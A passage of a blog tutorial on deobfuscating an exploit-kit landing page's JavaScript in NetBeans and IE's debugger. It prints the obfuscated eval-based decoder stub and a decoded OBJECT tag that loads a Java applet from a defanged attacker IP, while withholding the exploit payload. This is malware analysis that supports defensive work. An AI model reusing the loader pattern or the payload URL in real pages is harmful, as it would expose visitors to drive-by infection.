            p = eval(zaq + "eI" + "nt");
            zw = "@";
            for (i = 0; i < a.length; i += 2) {
                if (a["s" + "ub" + "str"](i, 1) == zw) continue;
                x = a.substr(i, 3 - 1 5b4);
                ss = String["fromCharCode"];
                s = s + ss((p(x, 26) + 84) / 5);
            }
            c = s;
            eval(s);
        }
    </script>
    <div id="q" style="display:none;">jcfbii2oi8g0i8~snip for brevity~</div>
    <script

    language="javascript">xz=document; a=xz.getElementById(qq); qqa=1; try{qqa+=2}catch(q){qqa=0;} c();</script>

Notice how I left the final <script> section unformatted. That's because JS Beautifier didn't format it. You can tab it out yourself  to make it readable, but this one is small enough it's not really necessary. Variable replacements in this really aren't necessary unless you know more about how JS try..catch statements work and want to do it.

You may  have also noticed that sometimes a variable is assigned more than once (in the above example, variable "s" is assigned 3 different times). This sort of thing can be really confusing to know what to replace and where - it's much easier if you leave those sorts of variables alone. Anyway, on with the clean version!

Cleaned up:
    <script language="javascript">
        ga = "getElementById";
        gg = "getAttri";

        function c() {
            s = new String();
            s = a.innerHTML;
            a = s;
            s = "";
            p = eval("parseInt");
            for (i = 0; i < a.length; i += 2) {
                if (a["substr"](i, 1) == "@") continue;
                x = a.substr(i, 3 - 1);
                ss = String["fromCharCode"];
                s = s + ss((p(x, 26) + 84) / 5);
            }
            c = s;
            eval(s);
        }
    </script>
    <div id="q" style="display:none;">jcfbii2oi8g0i8~snip for brevity~</div>
    <script language="javascript"> a=document.getElementById("q"); qqa=1; try{qqa+=2}catch(q){qqa=0;} c();</script>

Important: When you're doing variable replacements, sometimes you'll see variables assigned to something, but then the variables don't get used. Leave them alone! That big ugly block of "random" text actually contains variable references that are needed for the deobfuscation to work!

What we can do now here is use our script above to deobfuscate that long string of numbers we see at the top of the landing page. You'll need some kind of Javascript debugger (some have recommended Rhino to me, but I can never make it work, so I use NetBeans IDE). So let's put our script into NetBeans and set up a few things before we try to run it.

Here, I've set up NetBeans with our full script:



In this case, there are two variables that the script uses to store the deobfuscated versions of the big blocks of numbers and/or text. Variable "a" and variable "s".  It's important to know that the second <script> section depends on the first <script> section running successfully - this is why we're analyzing this all at once.

In order to catch the variables stored value at any given point, we're going to want to set up two breakpoints. One breakpoint is going to be set on line 12:

            document.createElement("span").innerHTML = a;

And another breakpoint is going to be set at line 32:

            eval(s);

So let's do that real quick and get ready to run this thing:



What these breakpoints will do is stop the script from executing as soon as variable "a" is set to the deobfuscated string of numbers at the top of the html body, and then stop it again as soon as variable "s" is evaluated into the browser exploit code. :)

The last thing I do is set a watch for both variable "a" and "s" so I can more easily identify the contents of those variables at the breakpoints. I won't cover how to do that here, but it's easy to figure out. So, without further ado, let's run this thing in NetBeans and see what the variables deobfuscate to!

Update(06/01/2013): @EricOpdyke from Twitter made a good suggestion that can be a time saver to get variable "a" in the original script (before we started deleting unused variables):

@EricOpdyke said:
"Another fast and easy trick is set w/out quotes "alert(StringfromCharCode)" under "d.innerHTML = a" and open in IE. The IE debugger will intercept the alert [and then under "locals" you can find variable "a" which will be your java applet param]."

Thanks for the tip, Eric! :) -SM


To demonstrate the tip from Eric, I've done it here using the original code before we modified it above: *Note: This is simply creating a syntax error on purpose in order to get the execution to halt at that spot so you can look in the debugger. Also, you could technically change it to: alert(a);  and get a pop-up alert with the contents of variable "a", but I can't say for sure if it will pause the execution until you close the window. I'd need to do more testing to know for sure.*

    <script>
        try {
            --document["body"]
        } catch (dv32r3) {
            a = document[("getEleme" + "ntsByTagName")]("b")[0].innerHTML["split"](",");
            for (j = 0; j < a[("length")]; j = 1 + j) {
                a[j] = 1 * a[j] + 3;
            }
            ff = "fro";
            a = String[ff + "mCharCode"].apply(String, a);
            ps = "span";
            d = document.createElement(ps);
            document["body"].appendChild(d);
            d.innerHTML = a;
            alert(StringfromCharCode);
        }
    </script>

Running in IE...




Awesome stuff! Thanks again! :)

And back to our NetBeans method we previously started... First breakpoint:



Here we can see that execution has stopped at our first breakpoint, revealing by our Watch panel that variable "a" has been assigned to something. 

Variable "a" at Breakpoint 1:




Variable "a" value: <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" width="1" height="1"><PARAM name="app" value="hxxp://65.75.187.216/08f1d4a96b43f720/08f1d4a96b43f720/q.php?jnlp=3de182668d"/></OBJECT>

Second breakpoint: 


This is the second breakpoint. Notice how variable "a" is a different value? It's pulling that big block of random text from the <div> tag at the bottom. :) Variable "b" in this case has the exploit code (this will cause your browser or browser tab to crash in IE) that leads to the followup payload to be delivered (usually in the form of a pdf). 

Variable "b" at Breakpoint 1:



Variable "b" value not fully listed here for both brevity and security reasons.

Ultimately, most browser exploits have similar sections of obfuscated JS that do this sort of thing. They're written this way to try to confuse the analyst. Hopefully the things I've written here will be of some use to you! 

- Secluded Memory
Twitter: @Secluded_Memory